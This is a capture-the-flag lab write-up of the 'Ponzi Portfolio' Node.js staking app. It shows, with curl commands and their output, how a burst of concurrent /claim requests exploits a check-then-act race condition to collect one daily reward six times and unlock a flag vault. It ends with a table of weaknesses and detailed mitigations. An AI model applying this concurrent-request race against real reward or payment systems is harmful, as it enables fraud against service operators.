TL;DR
Ponzi Portfolio is a Node.js/Express "staking rewards" web app with a
24-hour cooldown on claiming a reward. The /claim endpoint has a classic
check-then-act race condition: it checks whether the claim window has
elapsed, then updates the balance, without doing either atomically. Firing
many concurrent requests at /claim lets several of them pass the
eligibility check before any of them commit their balance update, so
multiple 50-PONZI rewards land from what should only ever be one claim per
day. Racing past the intended single-claim limit pushes the balance over
the 150-PONZI "Whale" threshold and unlocks a vault endpoint containing the
flag.
Flag: THM{[REDACTED]}
1. Recon
nmap -A -Pn <MACHINE_IP> -o nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open http Node.js Express framework
| http-title: "Ponzi Portfolio - Login"
|_Requested resource was /auth/login
A crypto-themed "staking rewards" app on port 3000, redirecting
unauthenticated requests to /auth/login.
2. Mapping the app
curl http://<MACHINE_IP>:3000/auth/register
A normal username/password registration form, client-side JS posting JSON
to /auth/register and /auth/login. Registered and logged in as a test
account:
curl -s -X POST http://<MACHINE_IP>:3000/auth/register \
-H 'Content-Type: application/json' \
-d '{"username":"testuser","password":"testpass123"}'
{"message":"Account created.","redirect":"/dashboard"}
curl -s -c cookies.txt -X POST http://<MACHINE_IP>:3000/auth/login \
-H 'Content-Type: application/json' \
-d '{"username":"testuser","password":"testpass123"}'
{"message":"Logged in.","redirect":"/dashboard"}
The dashboard's front-end JS (/js/dashboard.js) lays out the whole app
logic: a balance field, a "Claim Reward" button hitting POST /claim
(50 PONZI, once per 24 hours per the countdown timer), and a "Whale Vault"
unlocked at a 150-PONZI balance via GET /vault.
curl -s -b cookies.txt http://<MACHINE_IP>:3000/dashboard/api/me
{"balance":0,"tier":"Shrimp","canClaim":true,"secondsUntilClaim":0, ...}
3. Confirming the claim/cooldown mechanic
curl -s -b cookies.txt -X POST http://<MACHINE_IP>:3000/claim
{"message":"Staking reward claimed successfully.","reward":50,"newBalance":50,"tier":"Shrimp","priceSnapshot":4.2}
curl -s -b cookies.txt http://<MACHINE_IP>:3000/dashboard/api/me
{"balance":50,"canClaim":false,"secondsUntilClaim":86396, ...}
One claim, then locked out for roughly 24 hours (86396 seconds). At 50
PONZI per claim and a 150-PONZI whale threshold, legitimately reaching the
vault would take three real claim cycles, spread across three days. Worth
testing whether the cooldown is actually enforced atomically or just
checked once per request.
4. Race condition in /claim
Fired 30 concurrent /claim requests against the same authenticated
session:
for i in $(seq 1 30); do
curl -s -b cookies.txt -X POST http://<MACHINE_IP>:3000/claim -o resp_$i.json &
done
wait
grep -l '"reward"' resp_*.json | wc -l
First run against the already-claimed testuser session returned zero
successful claims - expected, since that account had already used its
claim for the day and every request correctly saw canClaim: false.
Registered a fresh account (racer1) specifically to race from a clean,
unclaimed state, then immediately fired 30 concurrent claims before any
single request's balance update could commit:
curl -s -c cookies2.txt -X POST http://<MACHINE_IP>:3000/auth/register \
-H 'Content-Type: application/json' \
-d '{"username":"racer1","password":"testpass123"}'
curl -s -c cookies2.txt -X POST http://<MACHINE_IP>:3000/auth/login \
-H 'Content-Type: application/json' \
-d '{"username":"racer1","password":"testpass123"}'
for i in $(seq 1 30); do
curl -s -b cookies2.txt -X POST http://<MACHINE_IP>:3000/claim -o resp_$i.json &
done
wait
grep -o '"reward":[0-9]*' resp_*.json | sort | uniq -c
1 resp_1.json:"reward":50
1 resp_2.json:"reward":50
1 resp_3.json:"reward":50
1 resp_4.json:"reward":50
1 resp_5.json:"reward":50
1 resp_7.json:"reward":50
Six of the thirty concurrent requests succeeded - six separate 50-PONZI
rewards from a mechanic that's supposed to permit exactly one per day.
Classic TOCTOU (time-of-check to time-of-use): each request reads
canClaim from the current balance/timestamp state before any of the
other concurrent requests has written its update back, so several
requests all see "eligible" simultaneously and all get paid out.
curl -s -b cookies2.txt http://<MACHINE_IP>:3000/dashboard/api/me
{"balance":300,"tier":"Whale", ...}
300 PONZI - double the 150-PONZI whale threshold, from a single racing
burst.
5. Unlocking the vault
curl -s -b cookies2.txt http://<MACHINE_IP>:3000/vault
{
"message": "Welcome to the Whale Vault.",
"flag": "THM{[REDACTED]}",
"balance": 300
}
Key vulnerabilities
| # | Weakness | Detail |
|---|---|---|
| 1 | Race condition (TOCTOU) on /claim
|
The claim-eligibility check (has 24 hours passed?) and the balance-update write are two separate, non-atomic steps. Concurrent requests all read the pre-update state and all pass the check before any of them commits, allowing multiple rewards to be claimed within a window meant to permit only one. |
| 2 | No idempotency or locking on the reward transaction | No per-user mutex, database row lock, or idempotency key protects the claim-then-credit sequence, so the app has no way to serialize concurrent claim attempts from the same session. |
| 3 | Client-trusted cooldown display only | The countdown timer and disabled button in the front end are purely cosmetic (/js/dashboard.js); server-side enforcement is the only real gate, and it's the part that's racy. |
Attack chain
Register + log in (normal account creation, no vuln needed)
|
v
GET /dashboard/api/me - learn balance, canClaim, whaleThreshold (150), reward (50/claim)
|
v
POST /claim (single request) - confirms one successful claim, then locked for ~24h
|
v
Register a second, unclaimed account (clean race target)
|
v
Fire 30 concurrent POST /claim requests before any single response commits
|
v
Multiple requests all read canClaim=true simultaneously -> 6/30 succeed -> 300 PONZI
|
v
GET /vault (balance >= 150) -> flag
Mitigations
- Make the claim-and-credit operation atomic. Use a single database
transaction with row-level locking (e.g.
SELECT ... FOR UPDATE) or an atomic conditional update (e.g.UPDATE users SET balance = balance + 50, last_claim = NOW() WHERE id = ? AND last_claim < NOW() - INTERVAL '24 hours'and check the affected-row count) so the eligibility check and the write happen as one indivisible step. - Serialize claim attempts per user with an application-level lock or mutex keyed to the user ID, so concurrent requests from the same session queue rather than race.
- Never rely on client-side timers or disabled buttons to enforce business rules; treat them as UX only and always re-validate fully on the server for every request.
- Add basic rate limiting per user/session on sensitive state-changing
endpoints like
/claim, both to blunt this class of race and to slow down automated abuse generally. - Log and alert on anomalous reward patterns (e.g. multiple successful claims for one user within a short window) as a detective control, in case a race condition like this slips past preventive fixes.
Top comments (0)